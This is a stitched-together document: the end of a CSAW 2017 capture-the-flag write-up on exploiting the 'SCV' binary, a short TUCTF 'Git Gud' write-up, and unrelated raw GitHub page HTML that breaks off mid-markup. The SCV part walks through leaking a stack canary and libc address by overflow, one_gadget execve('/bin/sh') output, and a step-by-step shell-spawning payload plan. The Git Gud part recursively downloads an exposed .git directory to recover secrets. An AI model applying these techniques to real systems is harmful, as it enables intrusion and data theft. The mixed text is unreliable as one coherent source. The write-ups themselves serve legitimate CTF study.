The next thing that we need to find is an address to a location inside of libc. Probably the easiest way is to examine the backtrace of `main`. It should at least contain a reference to `__libc_start_main`. We can rely on the return address of the libc function to always point to the same location in libc, so we can create an offset from that:```> dbt0 0x400b0a sp: 0x0 0 [main] rip main+1161 0x7fdc92891f6a sp: 0x7ffc761aeb28 200 [??] section_end..bss-18428077022 0x4009c9 sp: 0x7ffc761aebe8 192 [??] entry0+41```The first column of addresses looks like standard locations for code inside our program, except for the second one. Let's examine where that return address points, and see if we can find it inside our libc:```> pd 20@0x7fdc92891f6a 0x7fdc92891f6a 89c7 mov edi, eax 0x7fdc92891f6c e84f650100 call 0x7fdc928a84c0 0x7fdc92891f71 488b05f85639. mov rax, qword [0x7fdc92c27670] ; [0x7fdc92c27670:8]=0 0x7fdc92891f78 48c1c811 ror rax, 0x11 0x7fdc92891f7c 644833042530. xor rax, qword fs:[0x30] 0x7fdc92891f85 ffd0 call rax 0x7fdc92891f87 488b05d25639. mov rax, qword [0x7fdc92c27660] ; [0x7fdc92c27660:8]=0 0x7fdc92891f8e 48c1c811 ror rax, 0x11 0x7fdc92891f92 644833042530. xor rax, qword fs:[0x30] 0x7fdc92891f9b f0ff08 lock dec dword [rax] 0x7fdc92891f9e 0f94c2 sete dl 0x7fdc92891fa1 84d2 test dl, dl ,=< 0x7fdc92891fa3 752f jne 0x7fdc92891fd4 | 0x7fdc92891fa5 ba3c000000 mov edx, 0x3c ; '<' ; 60 | 0x7fdc92891faa 660f1f440000 nop word [rax + rax] .--> 0x7fdc92891fb0 31ff xor edi, edi || 0x7fdc92891fb2 89d0 mov eax, edx || 0x7fdc92891fb4 0f05 syscall `==< 0x7fdc92891fb6 ebf8 jmp 0x7fdc92891fb0 | 0x7fdc92891fb8 488b442408 mov rax, qword [rsp + 8] ; [0x8:8]=-1 ; 8```
Let's open libc and search for these instructions:```$ r2 /usr/lib/libc.so.6> e search.from = 0> /x 89c7e84f650100Searching 7 bytes in [0x0-0x3b68d0]hits: 20x00020f6a hit0_0 89c7e84f6501000x001d3f62 hit0_1 0000000000000d> pd 20@hit0_0 ;-- hit0_0: 0x00020f6a 89c7 mov edi, eax 0x00020f6c e84f650100 call sym.exit 0x00020f71 488b05f85639. mov rax, qword [0x003b6670] ; [0x3b6670:8]=0xfff10004000018ba 0x00020f78 48c1c811 ror rax, 0x11 0x00020f7c 644833042530. xor rax, qword fs:[0x30] 0x00020f85 ffd0 call rax 0x00020f87 488b05d25639. mov rax, qword [0x003b6660] ; [0x3b6660:8]=0 0x00020f8e 48c1c811 ror rax, 0x11 0x00020f92 644833042530. xor rax, qword fs:[0x30] 0x00020f9b f0ff08 lock dec dword [rax] 0x00020f9e 0f94c2 sete dl 0x00020fa1 84d2 test dl, dl ,=< 0x00020fa3 752f jne 0x20fd4 | 0x00020fa5 ba3c000000 mov edx, 0x3c ; section_end..gnu.warning.inet6_option_alloc ; u"GF\x06" | 0x00020faa 660f1f440000 nop word [rax + rax] .--> 0x00020fb0 31ff xor edi, edi || 0x00020fb2 89d0 mov eax, edx || 0x00020fb4 0f05 syscall `==< 0x00020fb6 ebf8 jmp 0x20fb0 | 0x00020fb8 488b442408 mov rax, qword [rsp + 8] ; sym.__resp ; [0x8:8]=0```Hey, check that out! The return address from `main` actually points to a location in libc! We can use its offset location (0x00020f6a) to determine the global libc offset.
Let's go back to the debugging session and see if we can leak the return address. It will take 0xb8 (184) characters to overflow. Subtract 1 for the newline character, and that's our new payload. In the actual exploit, we will need to include the canary as part of the payload, but for now, we won't worry about that:```> dcSelecting and continuing: 23263-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>1-------------------------[*]SCV IS ALWAYS HUNGRY.....-------------------------[*]GIVE HIM SOME FOOD.......------------------------->>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahit breakpoint at: 400b0a> dcSelecting and continuing: 23263-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>2-------------------------[*]REVIEW THE FOOD...........-------------------------[*]PLEASE TREAT HIM WELL.....-------------------------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?���hit breakpoint at: 400b0a```Looks like it works! We still have 0x40 (64) bytes to use for a ROP payload.
Now we need to figure out what ROP gadgets we need in order to spawn a shell. At first, I was using [ROPgadget](http://shell-storm.org/project/ROPgadget/) to form my own ROP chain, but after several hours, I still had no luck. At this point, the competition was over, and I put this challenge aside for a little while and rested.
When I resumed the search, I completely accidentally stumbled upon a tool called [one_gadget](https://github.com/david942j/one_gadget/) that can find gadgets that spawn a shell. Very quickly. Some of them have constraints that require certain values on the stack or elsewhere; however, that can easily be accommodated. Running it on the local `libc.so` unfortunately didn't return any results; however, I found something more interesting on the remote lib:```$ one_gadget libc-2.23.so0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)constraints: [rcx] == NULL || rcx == NULL [r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)constraints: [rax] == NULL || rax == NULL [r12] == NULL || r12 == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
0xf66c0 execve("/bin/sh", rcx, [rbp-0xf8])constraints: [rcx] == NULL || rcx == NULL [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL```That first gadget looks perfect for our constraints! We have complete control of the stack, and putting a NULL word 0x30 (48) bytes past our return address fits too perfectly into the size we are allotted. With that, our final payload is going to be exactly 0xf8 bytes.
Here's the final list of steps we need to perform an exploit:
1. Send 0xa8 bytes of padding to the server, followed by a new line.2. Read back the buffer, and store the leaked canary (remember to restore the leading null byte).3. Send 0xb7 bytes of padding to the server plus a new line.4. Read back the buffer, and store the leaked return address (last two bytes (MSB) will be null and therefore not sent. Keep that in mind).5. Compute the global offset of libc by subtracting the offset we found earlier (0x00020f6a) from the return address.6. Modify our ROP chain; add the global offset to the libc address.6. Send the final payload: 0xa8 bytes of padding + canary value + 8 bytes of padding + ROP chain + 0x30 bytes of padding + 8 bytes of NULL (0x00)7. Tell the program to exit.8. Profit! `cat flag`
### Solution
The exploit is implemented in [`exploit.py`](https://gitlab.com/AGausmann/ctfs/blob/master/2017/csaw/scv/exploit.py), with hooks to a local process, a local socket, and a remote socket. I have also included a [rarun2 script](scv.rr2) that binds the program stdin/stdout to the same local socket so that you can run the exploit in a radare debugging session and see it in action. The various connections are controlled by the `rc` variable in `exploit.py`. Just uncomment whichever `rc = ...` line you need.
Flag: `flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}` |
# Git Gud (100pts)
## Description
Jimmy has begun learning about Version Control Systems and decided it was a good time to put it into use for his person website. Show him how to Git Gud. http://gitgud.tuctf.com
## Solution
The challenge gives a URL with apparently nothing useful. Due to the tile we thought about a git repo somewhere in this domain. We found it manually at:
http://http://gitgud.tuctf.com/.git
The biggest difficulty was to download the repo, sice `git clone` did not work. So we downloaded it recursively with:
$ wget -r http://gitgud.tuctf.com/.git
In the `.git/log` folder we could see that the flag was added with commit `4fa0acbccd0885dace2f111f2bd7a120abc0fb4e`:
However, before checking out into this commit, we needed to stash the changes:
$ git stash
Now we were able to:
$ git checkout 4fa0acbccd0885dace2f111f2bd7a120abc0fb4 HEAD is now at 4fa0acb... Added flag
Finally:
~~~$ git showcommit 4fa0acbccd0885dace2f111f2bd7a120abc0fb4eAuthor: Jimmy <[email protected]>Date: Tue Nov 21 20:47:00 2017 +0000
Added flag
diff --git a/flag b/flag new file mode 100644 index 0000000..1b8dce4 --- /dev/null +++ b/flag @@ -0,0 +1,2 @@ + +TUCTF{D0nt_M4k3_G1t_Publ1c}~~~
So, yeah, just don't do it :) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeups/hacklu-2017/HeapsOfPrint at master · DhavalKapil/ctf-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9BBD:B9C6:AA933E9:AF092E1:64122763" data-pjax-transient="true"/><meta name="html-safe-nonce" content="eedfef8e53690ce4d634ebf23bf29ef109f7dd0b3e440d6407e80bd7cbda4703" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5QkJEOkI5QzY6QUE5MzNFOTpBRjA5MkUxOjY0MTIyNzYzIiwidmlzaXRvcl9pZCI6IjE0MDY2MTc5OTgyNTU4MTkyMyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="3013920cf1baa2cdeedc08d1fcad838b4230a1be7e4f64d815c5f2c34300ccee" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:100902368" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to DhavalKapil/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f99fdcfd658235af0e2010d9a58347018333c616c84fa02286cb8567af58ac4c/DhavalKapil/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/hacklu-2017/HeapsOfPrint at master · DhavalKapil/ctf-writeups" /><meta name="twitter:description" content="Contribute to DhavalKapil/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f99fdcfd658235af0e2010d9a58347018333c616c84fa02286cb8567af58ac4c/DhavalKapil/ctf-writeups" /><meta property="og:image:alt" content="Contribute to DhavalKapil/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/hacklu-2017/HeapsOfPrint at master · DhavalKapil/ctf-writeups" /><meta property="og:url" content="https://github.com/DhavalKapil/ctf-writeups" /><meta property="og:description" content="Contribute to DhavalKapil/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/DhavalKapil/ctf-writeups git https://github.com/DhavalKapil/ctf-writeups.git">
<meta name="octolytics-dimension-user_id" content="6170016" /><meta name="octolytics-dimension-user_login" content="DhavalKapil" /><meta name="octolytics-dimension-repository_id" content="100902368" /><meta name="octolytics-dimension-repository_nwo" content="DhavalKapil/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="100902368" /><meta name="octolytics-dimension-repository_network_root_nwo" content="DhavalKapil/ctf-writeups" />
<link rel="canonical" href="https://github.com/DhavalKapil/ctf-writeups/tree/master/hacklu-2017/HeapsOfPrint" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
